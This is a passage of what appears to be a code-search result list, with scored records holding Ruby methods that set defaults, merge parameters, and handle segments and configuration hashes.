"docid": "285aef1089a4dfa67b3514355d1f3884", "score": "0.49668792", "text": "def default_settings(howmany_racks,shelves_perrack)\n # howmany_racks is rack count, shelves_perrack how many shelves per rack\n=begin\n # Determine how many shelves currently exist\n current_shelves = @shelf.length\n if @shelf.length == 0\n start_shelf = 1\n else\n start_shelf = @shelf.length + 1\n howmany_racks = start_shelf + howmany_racks\n end\n puts \"shelves #{@shelf.length} starting #{start_shelf}\"\n $stdin.gets.chomp.upcase\n=end\n if @shelf.length == 0\n start_shelf = 1\n end\n\n # Define the shelves and set them to empty status\n (start_shelf..howmany_racks).each do |frame|\n rack = \"r#{frame}\" # iterate r1 to r many\n (1..shelves_perrack).each do |ledge|\n shelves = \"#{rack}s#{ledge}\" # interate each rack with suffx s1 to s many\n @shelf[shelves] = 'empty' # setting each shelf hash key value to empty\n end\n end\n\nend", "title": "" }, { "docid": "6804ee3aba796d55d36ab390ae4233e8", "score": "0.49655303", "text": "def prepare_params(options)\n droute = GrapeRouteHelpers::DecoratedRoute.new(route)\n rq = droute.required_helper_segments\n helper_params = params.select { |k,v| rq.include? k }\n query_params = params.reject do |k,v|\n rq.include?(k) || !route.params.key?(k) || v == route.params[k][:default]\n end\n helper_params.merge({ params: query_params }.deep_merge(options))\n end", "title": "" }, { "docid": "b6f198881777e906990ac716e0107519", "score": "0.49478814", "text": "def partition_defaults(defaults)\n defaults.partition { |key, value| value.is_a?(Proc) }.map(&:to_h)\n end", "title": "" }, { "docid": "2ab0eb2490c6e423f12d68cffed47ecd", "score": "0.49344182", "text": "def specification_hash\n [settings_hash, mappings_hash].inject(:merge)\n end", "title": "" }, { "docid": "1a654448bf0065f24c92a7d106da30d5", "score": "0.48994574", "text": "def mappings_hash options = {}\n \n if options[:req]\n reqs = GraduationPlanRequirement.find_all_by_id req.id, :include => :child_requirements\n conditions = [\"graduation_plan_requirement_id = ?\", options[:req].id]\n else\n reqs = GraduationPlanRequirement.find :all, :include => :child_requirements\n conditions = nil\n end\n reqs = reqs.collect{|r| [r.id, r]}.flatten\n reqs = Hash[*reqs]\n \n gpm = graduation_plan_mappings.find :all, :conditions => conditions, :include => [{:credit_assignment => :credit}, {:credit_assignment => :contract_term}], :order => 'terms.credit_date, COALESCE(credit_assignments.credit_course_name, credits.course_name), graduation_plan_mappings.date_completed'\n gpm = gpm.grouped_hash(&:graduation_plan_requirement_id)\n \n # set up the hashes for each requirement\n gpm.each do |k,v|\n gpm[k] = {:type => v.first.graduation_plan_requirement.requirement_type, :mappings => v, :req => reqs[k]}\n case gpm[k][:type]\n when :credit\n gpm[k][:subtotal] = gpm[k][:mappings].inject(0){|sum,mapping| sum+mapping.credit_assignment.credit_hours.to_f}\n when :service\n gpm[k][:subtotal] = gpm[k][:mappings].inject(0){|sum,mapping| sum+mapping.quantity}\n end\n end\n \n reqs.keys.each{|id| gpm[id] ||= {:type => reqs[id].requirement_type.to_s, :req => reqs[id], :mappings => [], :subtotal => 0}}\n\n # second pass through to get subtotal sums for parent requirements\n gpm.each do |k,v|\n if(gpm[k][:type]=='credit' && !gpm[k][:req].child_requirements.empty?)\n gpm[k][:subtotal] = gpm[k][:req].child_requirements.inject(gpm[k][:subtotal]){|sum,child_req| sum+gpm[child_req.id][:subtotal]}\n end\n end\n \n gpm.default = {:mappings => [], :subtotal => 0}\n \n return gpm\n end", "title": "" }, { "docid": "a5af42c7917b37f56d09c331b88c602e", "score": "0.4887583", "text": "def segments_field_params\n params.fetch(:segments_field, {})\n end", "title": "" }, { "docid": "d1b77e49f3f487bc6a78f7efeea99eb9", "score": "0.48528576", "text": "def defaults\n hash = {}\n hash[:site_area_sqft] = nil\n hash[:floor_area_sqft] = nil\n hash[:conditioned_area_sqft] = nil\n hash[:unconditioned_area_sqft] = nil\n hash[:footprint_area_sqft] = nil\n hash[:maximum_roof_height_ft] = nil\n hash[:maximum_number_of_stories] = nil\n hash[:maximum_number_of_stories_above_ground] = nil\n hash[:parking_area_sqft] = nil\n hash[:number_of_parking_spaces] = nil\n hash[:number_of_parking_spaces_charging] = nil\n hash[:parking_footprint_area_sqft] = nil\n hash[:maximum_parking_height_ft] = nil\n hash[:maximum_number_of_parking_stories] = nil\n hash[:maximum_number_of_parking_stories_above_ground] = nil\n hash[:number_of_residential_units] = nil\n hash[:building_types] = [{ building_type: nil, maximum_occupancy: nil, floor_area_sqft: nil }]\n hash[:window_area_sqft] = { north_window_area_sqft: nil, south_window_area_sqft: nil, east_window_area_sqft: nil, west_window_area_sqft: nil, total_window_area_sqft: nil }\n hash[:wall_area_sqft] = { north_wall_area_sqft: nil, south_wall_area_sqft: nil, east_wall_area_sqft: nil, west_wall_area_sqft: nil, total_wall_area_sqft: nil }\n hash[:roof_area_sqft] = { equipment_roof_area_sqft: nil, photovoltaic_roof_area_sqft: nil, available_roof_area_sqft: nil, total_roof_area_sqft: nil }\n hash[:orientation_deg] = nil\n hash[:aspect_ratio] = nil\n hash[:total_construction_cost_dollar] = nil\n return hash\n end", "title": "" }, { "docid": "8ab3b7dbb4a2697caa656aa73c32d2be", "score": "0.48508078", "text": "def predefine(part, number, other_part)\n (@predefined[part]||={})[number]=other_part\n end", "title": "" }, { "docid": "b1f9da58f1a15f4c611bd7e407e47ed9", "score": "0.47991678", "text": "def segments_params_3\n {\n dataSetId: @dataSetId,\n effectiveDate: @effectiveDate,\n modelYear: \"2017\",\n residuals: false\n }\n end", "title": "" }, { "docid": "20d3f9b8e05bff8906bed189343ea185", "score": "0.47960782", "text": "def fuse_params(extra_params, default_params)\n if default_params.nil? and extra_params.nil?\n $stderr.puts \"No specification\"\n return nil\n elsif default_params.nil?\n return extra_params\n elsif extra_params.nil?\n return default_params\n elsif !default_params.is_a? Hash\n #extra params override always (if not a hash)\n return extra_params\n else\n #hash case, merge the hashes recursively\n return default_params.merge(extra_params) do |key, oldval, newval| \n fuse_params(newval,oldval)\n end\n end\n end", "title": "" }, { "docid": "9af6c4a4f780064f15dce91fd9dbcfbb", "score": "0.47879547", "text": "def load_required_params(cxt, params, info)\n query_params = Hash.new\n params.each { |k, v|\n if (k != 'splat' && k != 'name' && k != 'captures' && k != 'query-type' && k != 'submit') # sinatra bits that aren't query params\n query_params[k] = v\n end\n }\n\n param_error_messages = Hash[\n \"domain\" => 'A domain name is required for this scriptlet',\n \"start\" => 'A start date is required for this scriptlet',\n \"end\" => 'An end date is required for this scriptlet',\n \"period\" => 'A period is required for this scriptlet'\n ]\n\n required_params = info['params']\n required_params.each { |p, details|\n given_param = params[p]\n if given_param.nil?\n load_error(cxt, param_error_messages[p] + \", e.g. #{p}=#{details[\"default\"]}<br>\")\n else\n query_params.delete p\n if p == \"domain\"\n map_domain(cxt, given_param)\n else\n cxt[p] = given_param\n end\n end\n }\n query_params\n end", "title": "" }, { "docid": "182d0fb9ab6f5683e665e4967cfd38d9", "score": "0.47740245", "text": "def setup_defaults\n @logger.debug(\"AwsWorkers::Ec2.setup_defaults called\")\n\n @min_count = 1 if @min_count.blank?\n @max_count = 1 if @max_count.blank?\n @security_group = 'default' if @security_group.blank?\n @key_name = 'default' if @key_name.blank?\n @addressing_type = 'public' if @addressing_type.blank?\n @instance_type = 'm1.small' if @instance_type.blank?\n # @kernel_id = nil if @kernel_id.blank?\n # @ramdisk_id = nil if @ramdisk_id.blank?\n # @availability_zone = nil if @availability_zone.blank?\n # @monitoring_enabled = nil if @monitoring_enabled.blank?\n # @subnet_id = nil if @subnet_id.blank?\n # @disable_api_termination = nil \\\n # if @disable_api_termination.blank?\n # @instance_initiated_shutdown_behavior = nil \\\n # if @instance_initiated_shutdown_behavior.blank?\n # @block_device_mappings = nil if @block_device_mappings.blank?\n @ami_requires_software_installation = false \\\n if @ami_requires_software_installation.blank?\n end", "title": "" }, { "docid": "525a770d4a853a7f7dc5cf6a4557fa45", "score": "0.47643045", "text": "def defaults(h = nil, &block)\n (@defaults_procs ||= []) << block if block\n (@defaults_map ||= {}).update make_init_value_map(h) if h\n end", "title": "" }, { "docid": "bea2fc0cb50a1eff31ed332001b80f1f", "score": "0.47557917", "text": "def initialize_prefix_defaults() \n @prefix_defaults = Hash[{\n :article => \"J\",\n :inproceedings => \"C\",\n :incollection=> \"BC\",\n :techreport => \"TR\",\n :book => \"B\"\n }]\n end", "title": "" }, { "docid": "bea2fc0cb50a1eff31ed332001b80f1f", "score": "0.47557917", "text": "def initialize_prefix_defaults() \n @prefix_defaults = Hash[{\n :article => \"J\",\n :inproceedings => \"C\",\n :incollection=> \"BC\",\n :techreport => \"TR\",\n :book => \"B\"\n }]\n end", "title": "" }, { "docid": "edea3c38d2d2c1351aba796c9fc79107", "score": "0.47554317", "text": "def defaults\n hash = {}\n hash[:timeseries_csv] = {}\n hash[:location] = {}\n hash[:program] = {}\n hash[:construction_costs] = []\n hash[:reporting_periods] = []\n hash[:distributed_generation] = {}\n hash[:power_distribution] = {}\n hash[:thermal_storage] = {}\n return hash\n end", "title": "" }, { "docid": "fdc3c9a95d3d8d0310d6765f4b26b129", "score": "0.47366747", "text": "def tag_section_mapping=(_arg0); end", "title": "" }, { "docid": "a9bf7ce3872d07865b15d1e854c7aa52", "score": "0.47338197", "text": "def overwrite_params defaults, other\n merged = []\n defaults.each do |k,v|\n idx = other.index { |p| p[0] == k }\n if idx == nil then\n merged << [k, v]\n else\n merged << [k, other[idx][1]]\n end\n end\n other.each do |k,v|\n if merged.index { |pair| pair[0] == k} == nil then\n merged << [k, v]\n end\n end\n\n return merged\nend", "title": "" }, { "docid": "65dc1a977dcc04090217de6068bfc7bf", "score": "0.47320813", "text": "def defaults\n hash = {}\n\n hash[:id] = nil\n hash[:name] = nil\n hash[:multiplier] = nil\n hash[:start_date] = Date.new.to_hash\n hash[:end_date] = Date.new.to_hash\n\n hash[:total_site_energy_kwh] = nil\n hash[:total_source_energy_kwh] = nil\n hash[:site_EUI_kwh_per_m2] = nil\n hash[:site_EUI_kbtu_per_ft2] = nil\n hash[:source_EUI_kwh_per_m2] = nil\n hash[:source_EUI_kbtu_per_ft2] = nil\n hash[:net_site_energy_kwh] = nil\n hash[:net_source_energy_kwh] = nil\n hash[:net_utility_cost_dollar] = nil\n hash[:total_utility_cost_dollar] = nil\n hash[:electricity_kwh] = nil\n hash[:natural_gas_kwh] = nil\n hash[:propane_kwh] = nil\n hash[:fuel_oil_kwh] = nil\n hash[:other_fuels_kwh] = nil\n hash[:district_cooling_kwh] = nil\n hash[:district_heating_kwh] = nil\n\n hash[:electricity_produced_kwh] = nil\n hash[:end_uses] = EndUses.new.to_hash\n hash[:energy_production_kwh] = { electricity_produced: { photovoltaic: nil } }\n hash[:utility_costs_dollar] = [{ fuel_type: nil, total_cost_dollar: nil, usage_cost_dollar: nil, demand_cost_dollar: nil }]\n hash[:comfort_result] = { time_setpoint_not_met_during_occupied_cooling: nil, time_setpoint_not_met_during_occupied_heating: nil,\n time_setpoint_not_met_during_occupied_hours: nil, hours_out_of_comfort_bounds_PMV: nil, hours_out_of_comfort_bounds_PPD: nil }\n\n return hash\n end", "title": "" }, { "docid": "4158347271cae628af9939585f6a6eef", "score": "0.4723198", "text": "def apply_defaults(defaults)\n defaults.each do |key, default|\n section, key = key.match(/(.*)\\.(.*)/)[1..2]\n\n if default.is_a?(Array)\n default_val, comment = default\n else\n default_val, comment = default, nil\n end\n\n @config[section] = {} unless @config.has_key?(section)\n set(\"#{section}.#{key}\", default_val, comment)\n end\n end", "title": "" }, { "docid": "07c6f059b970d513b35a33edaed379c5", "score": "0.47194558", "text": "def with_defaults(other_hash); end", "title": "" }, { "docid": "f0da731777e087e1085e988c08bc92fd", "score": "0.47094843", "text": "def initialize_prefix_defaults\n @prefix_defaults = Hash[{\n article: 'J',\n inproceedings: 'C',\n incollection: 'BC',\n techreport: 'TR',\n book: 'B'\n }]\n end", "title": "" }, { "docid": "ff144cc8a365404a9052ea73b1afc15b", "score": "0.46885973", "text": "def segment_params\n params.require(:segment).permit(:start, :end, :step, :km, :kcal, :comment)\n end", "title": "" }, { "docid": "752b9f8b89907f0fbe250706bcb57e14", "score": "0.46850097", "text": "def initializeDefaultParameters()\n @phasing = 0\n @prePhasing = 0\n @yield = 0\n @percentPFClusters = 0\n @referencePath = \"\"\n @percentAligned = 0\n @percentError = 100\n end", "title": "" }, { "docid": "4b51cad81a7ed14c509086cc62af6216", "score": "0.46766993", "text": "def get_defaults_overrides params_hsh\n defaults, overrides, appends = {}, {}, {}\n params_hsh.each do |k, v|\n if k.match(/^default_.+/)\n defaults[k.sub(/^default_/, '')] = v\n params_hsh.delete k\n elsif k.match(/^override_.+/)\n overrides[k.sub(/^override_/, '')] = v\n params_hsh.delete k\n elsif k.match(/^append_.+/)\n appends[k.sub(/^append_/, '')] = v\n params_hsh.delete k\n end\n end\n return params_hsh, defaults, overrides, appends\n end", "title": "" }, { "docid": "bc839aa0878aefef906873d87610f57e", "score": "0.46729758", "text": "def criteria_defaults_map\n {\n country_code: 'DK',\n shared: nil,\n type: 'any',\n furnishment: 'any',\n full_address: default_address,\n rooms: 1..10,\n radius: 50,\n cost: 0..40000, \n rating: 0..5,\n rentability: 0..3,\n sqm: default_sqm,\n sqfeet: default_sqm.to_sqfeet,\n period: default_period,\n point: default_point\n }\n end", "title": "" }, { "docid": "7b6a15b5d664a01ebe168bc672a264f5", "score": "0.46698892", "text": "def default_params\n @params.inject({}) do |h,(k,v)|\n h[k.to_s] = v[:default] if v[:default]\n h\n end\n end", "title": "" }, { "docid": "839722d521e1596088fdc5e692cda553", "score": "0.46572965", "text": "def api_v1_segments_field_params\n params.fetch(:api_v1_segments_field, {})\n end", "title": "" }, { "docid": "057a979667d551aeaddb036b1bfb4a66", "score": "0.46356773", "text": "def campaigns_segment_params\n params.fetch(:campaigns_segment, {})\n end", "title": "" }, { "docid": "07e61b20ad721ba6778ec2bd0b8a7a08", "score": "0.4634823", "text": "def create_default_quote_sections\n self.quote_default_sections.create!(title: 'Summary')\n \n quote_default_section = self.quote_default_sections.new(title: 'Costs')\n quote_default_section.cost_section = 1\n quote_default_section.save!\n \n self.quote_default_sections.create!(title: 'Disclaimer')\n end", "title": "" }, { "docid": "27b3b8957a9a3ae80f13c8d44386a26c", "score": "0.4627825", "text": "def with_defaults!(other_hash); end", "title": "" }, { "docid": "27b3b8957a9a3ae80f13c8d44386a26c", "score": "0.4627825", "text": "def with_defaults!(other_hash); end", "title": "" }, { "docid": "d1a2e19b1ad600d2030624398aca1102", "score": "0.46247247", "text": "def options_and_defaults_hash\n options_and_defaults.inject({}) do |memo, option|\n memo[option[0]] = option[1].to_h \n memo\n end\n end", "title": "" }, { "docid": "d289f1b997216495739d54a843d09c12", "score": "0.46202466", "text": "def parse_output_configurations(segment)\n segment_hash = @facility_config.details[segment].convert_keys\n segment_array = make_segment_array(segment_hash, segment)\n segment_array = segment_array.collect do |elem|\n actual, default = elem.split('@') #handling default values which is seperated by '@'\n if default && @config_hash[actual].blank?\n default\n elsif @config_hash_keys.include? actual\n @config_hash[actual]\n else\n elem\n end \n end\n Output835.remove_blank(segment_array).join('*')\n end", "title": "" }, { "docid": "c2d6184795cd8d22361d136797f389de", "score": "0.46201313", "text": "def parse_output_configurations(segment)\n if !@facility_config.details[segment].blank?\n segment_hash = @facility_config.details[segment].convert_keys\n end\n segment_array = make_segment_array(segment_hash, segment)\n if !segment_array.blank?\n segment_array = segment_array.collect do |elem|\n actual, default = elem.split('@') #handling default values which is seperated by '@'\n if default && @config_hash[actual].blank?\n default\n elsif @config_hash_keys.include? actual\n @config_hash[actual]\n else\n elem\n end\n end\n segment_array = remove_empty_modifiers segment_array if segment == :n1pe_segment\n Output835.remove_blank(segment_array).join('*')\n end\n end", "title": "" }, { "docid": "3f840fafd6903ed3c60029d488e20d23", "score": "0.46125805", "text": "def setup_parameters(params={}, defaults=nil)\n params = defaults ? defaults.merge(params) : params\n find_missing_requirements(params)\n remove_unnecessary_params(params)\n end", "title": "" }, { "docid": "4d7fcb26606a830f4641b078af08b8cb", "score": "0.46012232", "text": "def validated_values\n config.inject(Hash.new) do |h, (k, v)|\n h[k] =\n if overrides.has_key?(k) then overrides[k]\n elsif v.last || !declared?(k) then v.first\n end\n h\n end\n end", "title": "" }, { "docid": "4d7fcb26606a830f4641b078af08b8cb", "score": "0.46012232", "text": "def validated_values\n config.inject(Hash.new) do |h, (k, v)|\n h[k] =\n if overrides.has_key?(k) then overrides[k]\n elsif v.last || !declared?(k) then v.first\n end\n h\n end\n end", "title": "" }, { "docid": "4d7fcb26606a830f4641b078af08b8cb", "score": "0.46012232", "text": "def validated_values\n config.inject(Hash.new) do |h, (k, v)|\n h[k] =\n if overrides.has_key?(k) then overrides[k]\n elsif v.last || !declared?(k) then v.first\n end\n h\n end\n end", "title": "" }, { "docid": "1bbb836f236b4b7254081d183fc495ec", "score": "0.45940235", "text": "def possible_assignments\n return_value = {}\n registrations.each do |registration|\n return_value[registration] = available_sections registration\n end\n return_value\n end", "title": "" }, { "docid": "4b11525d83e5c4791be297f95e762f10", "score": "0.45868137", "text": "def defaults\n hash = {}\n hash[:id] = nil.to_s\n hash[:name] = nil.to_s\n hash[:directory_name] = nil.to_s\n hash[:timesteps_per_hour] = nil # unknown\n hash[:number_of_not_started_simulations] = 0\n hash[:number_of_started_simulations] = 0\n hash[:number_of_complete_simulations] = 0\n hash[:number_of_failed_simulations] = 0\n hash[:timeseries_csv] = TimeseriesCSV.new.to_hash\n hash[:location] = Location.new.defaults\n hash[:program] = Program.new.to_hash\n hash[:construction_costs] = []\n hash[:reporting_periods] = []\n hash[:feature_reports] = []\n return hash\n end", "title": "" }, { "docid": "6fcc9cb5d8fe4574fb4104cfc7652acf", "score": "0.45858002", "text": "def segmentation_params\n params.fetch(:segmentation, {})\n end", "title": "" }, { "docid": "5b33e45d70d2e4755db89e5c60ebf66b", "score": "0.45797914", "text": "def setdefaults(section, defs)\n section = section.to_sym\n call = []\n defs.each { |name, hash|\n if hash.is_a? Array\n unless hash.length == 2\n raise ArgumentError, \"Defaults specified as an array must contain only the default value and the decription\"\n end\n tmp = hash\n hash = {}\n [:default, :desc].zip(tmp).each { |p,v| hash[p] = v }\n end\n name = name.to_sym\n hash[:name] = name\n hash[:section] = section\n raise ArgumentError, \"Parameter #{name} is already defined\" if @config.include?(name)\n tryconfig = newsetting(hash)\n if short = tryconfig.short\n if other = @shortnames[short]\n raise ArgumentError, \"Parameter #{other.name} is already using short name '#{short}'\"\n end\n @shortnames[short] = tryconfig\n end\n @config[name] = tryconfig\n\n # Collect the settings that need to have their hooks called immediately.\n # We have to collect them so that we can be sure we're fully initialized before\n # the hook is called.\n call << tryconfig if tryconfig.call_on_define\n }\n\n call.each { |setting| setting.handle(self.value(setting.name)) }\n end", "title": "" }, { "docid": "7e2e56528b2a65bfb27cfe316e1cec15", "score": "0.45757043", "text": "def initialize(*segments_list) \n \n segments_list.each do |segment|\n \n if IPAddrRangeSet === segment\n # just absorb em\n segments.concat segment.segments\n next\n end\n \n if IPAddr === segment\n segment.freeze\n segments << segment\n next\n end\n \n if Range === segment\n first = segment.first\n last = segment.last\n \n first = IPAddr.new(first) unless first.kind_of? IPAddr\n last = IPAddr.new(last) unless last.kind_of? IPAddr\n \n segments << Range.new(first, last, segment.exclude_end?).freeze \n next\n end\n\n \n segment = segment.to_str\n \n # special splat processing? eg '124.*.*.*' ipv4 only.\n # Convert to ordinary 'a.b.c.d/m' CIDR notation. \n if segment.include?('*') && segment =~ /(\\d{1,3}|\\*\\.){3}\\d{1,3}|\\*/\n octets = segment.split('.')\n \n if (octets.rindex {|o| o =~ /\\d+/}) > octets.rindex(\"*\")\n raise ArgErrorClass.new(\"Invalid splat range, all *s have to come before all concrete octets\")\n end\n \n splats = 0\n base = octets.collect do |o|\n if o == '*'\n splats += 1\n '0'\n else\n o\n end \n end.join(\".\") \n \n prefix_size = 32 - (8 * splats) \n segments << IPAddr.new(\"#{base}/#{prefix_size}\") \n \n next\n end\n \n segments << IPAddr.new(segment) \n end \n end", "title": "" }, { "docid": "a9af23c9a2d0b3dfebafae43653220ec", "score": "0.45727667", "text": "def segments\n return @segments if @segments\n\n @map = {}\n @segments = (0...@binSrchHeader.nUnits).map do |n|\n start = 12 + n * 6\n lastGlyph, firstGlyph, value = @bytes[start, 6].unpack('nnn')\n\n # NOTE: value size 2 (UInt16) is hardcoded, as it is the only\n # size used by the `morx` class table\n values = @bytes[value, (lastGlyph - firstGlyph + 1) * 2].unpack('n*')\n\n (firstGlyph..lastGlyph).each_with_index do |glyph, i|\n @map[glyph] = values[i] unless values[i] == 0\n end\n\n Segment.new(\n lastGlyph: lastGlyph,\n firstGlyph: firstGlyph,\n values: values,\n )\n end\n end", "title": "" }, { "docid": "e0374c8a14ba106310fa3a84b565deeb", "score": "0.4561933", "text": "def set_default_partition(opts)\n opts = check_params(opts,[:partition])\n super(opts)\n end", "title": "" }, { "docid": "b3f5a07ff70a0bd761acd53eae6ba3e9", "score": "0.45558044", "text": "def api_v1_segment_params\n params.fetch(:api_v1_segment, {})\n end", "title": "" }, { "docid": "8af239269dce1307f4ef8156e7f69192", "score": "0.4551174", "text": "def inheritable_cache_set(formats, name, partial, param, prefix)\n formats.each do |format|\n # assign hash default values to respective key \n inheritable_cache[format.to_sym] = hf = inheritable_cache[format.to_sym]\n hf[partial] = hp = hf[partial]\n hp[name] = hn = hp[name]\n # finally store prefix in the deepest hash\n hn[param] = prefix\n end\n end", "title": "" }, { "docid": "ea7b61d3f15c68aefa7bca12c7c36ac4", "score": "0.454747", "text": "def super_params\n supers.reverse.inject(Hash.new) do |acc, klass|\n next acc unless klass.respond_to?(:default_params)\n\n dp = klass.default_params\n acc.deep_merge!(self.instance_eval(&dp) || Hash.new) if dp\n acc\n end\n end", "title": "" }, { "docid": "aae5c748f33fb7e5646966e362be0912", "score": "0.45341247", "text": "def api_v1_polls_segment_params\n params.fetch(:api_v1_polls_segment, {})\n end", "title": "" }, { "docid": "3133c90fc9e75a3953d44a3360a63cff", "score": "0.4533858", "text": "def segment_params\n params.require(:segment).permit(\n :start,\n :end\n )\n end", "title": "" }, { "docid": "13aa2087e871080cb870b3da909eda96", "score": "0.45332053", "text": "def merge_defaults(left, right, target={})\n if target != left\n left.each do |key, value|\n if target.has_key? key and value.is_a?(Hash) and target[key].is_a?(Hash)\n target[key] = Teacup::merge_defaults(target[key], value)\n else\n if value.is_a?(Hash)\n # make a copy of the Hash\n value = Teacup::merge_defaults!({}, value)\n end\n target[key] = value\n end\n end\n end\n\n right.each do |key, value|\n if not target.has_key? key\n target[key] = value\n elsif value.is_a?(Hash) and left[key].is_a?(Hash)\n target[key] = Teacup::merge_defaults(left[key], value, (left==target ? left[key] : {}))\n elsif key == :constraints\n left[key] = merge_constraints(left[key], value)\n end\n end\n target\n end", "title": "" }, { "docid": "90911f6a861b15315a7493a42e6f8705", "score": "0.45322207", "text": "def segment_type_params\n params.fetch(:segment_type, {})\n end", "title": "" }, { "docid": "eb53bc70181011456f82ad4a33e54afc", "score": "0.45248553", "text": "def defaults \n {:chainring => 40, :cog => 12}\n end", "title": "" }, { "docid": "1a9d6bd016ad40a1825f373556cd1b74", "score": "0.45051688", "text": "def collect_adjustments\n if ['CLAIM', 'SERVICE'].include?(@segment_level)\n eval(\"@#{@segment_level.downcase}_adjustments\") << eval(\"@#{@segment_level.downcase}_adjustment_attributes\")\n end\n end", "title": "" }, { "docid": "72773c76342ccb546b1f76595ede59ec", "score": "0.44959715", "text": "def traits_for_segment\n {\n # DB fields\n email: email,\n name: name,\n created_at: created_at,\n updated_at: updated_at,\n role: role,\n allowed_features: allowed_feature_list,\n institution: institution,\n # Derived fields\n admin: admin?,\n demo_user: demo_user?,\n biohub_user: biohub_user?,\n czi_user: czi_user?,\n # Counts (should be cached in the users table for perf)\n projects: projects.size, # projects counter is NOT cached because has_and_belongs_to_many\n samples: samples.size,\n favorite_projects: favorite_projects.size,\n favorites: favorites.size,\n visualizations: visualizations.size,\n phylo_trees: phylo_trees.size,\n # Has-some (this is important for Google Custom Dimensions, which require\n # categorical values--there is no way to derive them from raw counts.) See\n # https://segment.com/docs/destinations/google-analytics/#custom-dimensions\n has_projects: !projects.empty?,\n has_samples: !samples.empty?,\n has_favorite_projects: !favorite_projects.empty?,\n has_favorites: !favorites.empty?,\n has_visualizations: !visualizations.empty?,\n has_phylo_trees: !phylo_trees.empty?,\n # Segment special fields\n createdAt: created_at.iso8601, # currently same as created_at\n firstName: first_name,\n lastName: last_name,\n # Devise fields\n sign_in_count: sign_in_count,\n current_sign_in_at: current_sign_in_at,\n last_sign_in_at: last_sign_in_at,\n current_sign_in_ip: current_sign_in_ip,\n last_sign_in_ip: last_sign_in_ip,\n # TODO: (gdingle): get more useful data on signup\n # title, phone, website, address, company\n }\n end", "title": "" }, { "docid": "e1db578199e062c25b2e0407e5d0987a", "score": "0.44958213", "text": "def default_separation_sd\n {\n heavy: {\n heavy: 30,\n large: 40,\n small: 50\n },\n large: {\n heavy: 30,\n large: 40,\n small: 50\n },\n small: {\n heavy: 30,\n large: 30,\n small: 30\n }\n }\n end", "title": "" }, { "docid": "cebf00bb845b80e2017efe72b0d08c52", "score": "0.44951653", "text": "def assign_kqs_and_efs(study_params)\n ef_sections = Hash.new()\n study_params.keys.each do |key|\n kq_id = study_params[key]\n ef_id = ExtractionFormKeyQuestion.where(:key_question_id => kq_id).collect{|record| record.extraction_form_id}[0]\n exists = StudyExtractionForm.where(:study_id=>self.id, :extraction_form_id=>ef_id)\n if exists.empty? && ef_id\n StudyExtractionForm.create(:study_id=>self.id, :extraction_form_id=>ef_id)\n end\n if !ef_sections.keys.include?(ef_id)\n sections = ExtractionFormSection.find(:all, :conditions=>[\"extraction_form_id=? AND included=?\", ef_id, true],:select=>[\"section_name\"])\n sections = sections.empty? ? [] : sections.collect{|x| x.section_name}\n ef_sections[ef_id] = sections.uniq\n \n # set up the complete_study_sections for this form and study combo\n ef_sections[ef_id].each do |sect|\n CompleteStudySection.create(:study_id=>self.id, :extraction_form_id=>ef_id, :section_name=>sect, :is_complete=>false)\n end\n # also put in the publications and key question setup tabs\n CompleteStudySection.create(:study_id=>self.id, :extraction_form_id=>ef_id, :section_name=>\"questions\", :is_complete=>false)\n CompleteStudySection.create(:study_id=>self.id, :extraction_form_id=>ef_id, :section_name=>\"publications\", :is_complete=>false)\n\n end\n StudyKeyQuestion.create(:study_id=>self.id, :key_question_id=>kq_id, :extraction_form_id=>ef_id) if ef_id\n end\n end", "title": "" }, { "docid": "61f7c4fa6a0ee6ccafc705d73200a9f4", "score": "0.4484432", "text": "def merge_defaults!(template)\n @properties = template.properties.merge(@properties)\n @context = template.context.merge(@context)\n template.nics.each do |nic|\n @nics.unshift nic.clone\n end\n template.disks.each do |disk|\n @disks.unshift disk.clone\n end\n template.metrics.each do |metric|\n @metrics.unshift metric.clone\n end\n self\n end", "title": "" }, { "docid": "1013dd803d4c99b2d95800db83db552f", "score": "0.4483985", "text": "def assign_pods(students, pods)\n assignments = {}\n\n i = -1\n students.each_with_index do |student, idx|\n if idx % 4 == 0\n i += 1\n assignments[pods[i]] = []\n end\n assignments[pods[i]] << student\n end\n\n assignments\nend", "title": "" }, { "docid": "90bb34068b4391110dd8e29bab673b53", "score": "0.44799897", "text": "def setup_intelligent_segments\n segments = Octo.get_config(:intelligent_segments)\n if segments\n segments.each do |seg|\n args = {\n enterprise_id: self.id,\n name: seg[:name],\n type: seg[:type].constantize,\n dimensions: seg[:dimensions].collect(&:constantize),\n operators: seg[:operators].collect(&:constantize),\n values: seg[:values].collect(&:constantize),\n active: true,\n intelligence: true,\n }\n Octo::Segment.new(args).save!\n end\n Octo.logger.info \"Created segents for Enterprise: #{ self.name }\"\n end\n end", "title": "" }, { "docid": "afae5725d913cbf15dffa66a82a59d59", "score": "0.44791228", "text": "def add_defaults(hash)\n hash[:headers] = default_headers.merge(hash[:headers] || {})\n hash[:path] = \"/api/v#{Sumo::API_VERSION}#{hash[:path]}\" unless\n hash[:path].index(\"/api/v#{Sumo::API_VERSION}\") == 0\n hash\n end", "title": "" }, { "docid": "2547da2090c93790e92d697ab4f99f1c", "score": "0.44777104", "text": "def fill_in_defaults(hash)\n # Only if we need to mutate it to add defaults, we'll dup it first. deep_dup not neccesary\n # since we're only modifying top-level here.\n duped = false\n json_attributes_registry.definitions.each do |definition|\n if definition.has_default? && ! (hash.has_key?(definition.store_key.to_s) || hash.has_key?(definition.store_key.to_sym))\n unless duped\n hash = hash.dup\n duped = true\n end\n\n hash[definition.store_key] = definition.provide_default!\n end\n end\n\n hash\n end", "title": "" }, { "docid": "46c7149733e2f65ba61fef19311d4bb9", "score": "0.44775307", "text": "def fill_blank_params(params)\n\n params[confidence: 'high'] #Default confidence of parsing is high\n\n unless all_values_present?(params)\n top_lookups = Lookup.order_by(:other_domain_hits.desc).limit(5)\n top_lookups.each do |top_lookup|\n params = fill_blanks_given_lookup(params, top_lookup)\n\n if all_values_present? params\n params[confidence: 'medium']\n break\n end\n\n end\n\n unless all_values_present?(params)\n params = fill_blanks_given_lookup(params, Lookup.new(@@default_lookup_hash))\n params[confidence: 'low'] #If I have to use the default parser, the confidence for parsing is low\n end\n end\n\n return params\n end", "title": "" }, { "docid": "38099a9c12c0b6cf3799c7219dd678f3", "score": "0.44733948", "text": "def segments\n @segments ||= @views.collect {|view_class| {:label => view_class[:description], :width => 0}}\n end", "title": "" }, { "docid": "4945135bd3e1258712a7be4d4fc8dc33", "score": "0.44650376", "text": "def decode_segments(tgt, obj, opts)\n segments = []\n if (obj.respond_to? :segments) && ! (opts[:use_sections])\n (obj.segments || []).each { |s| \n seg = decode_segment(obj, s)\n next if seg[:file_sizes] == 0 && seg[:mem_size] == 0\n next if ! 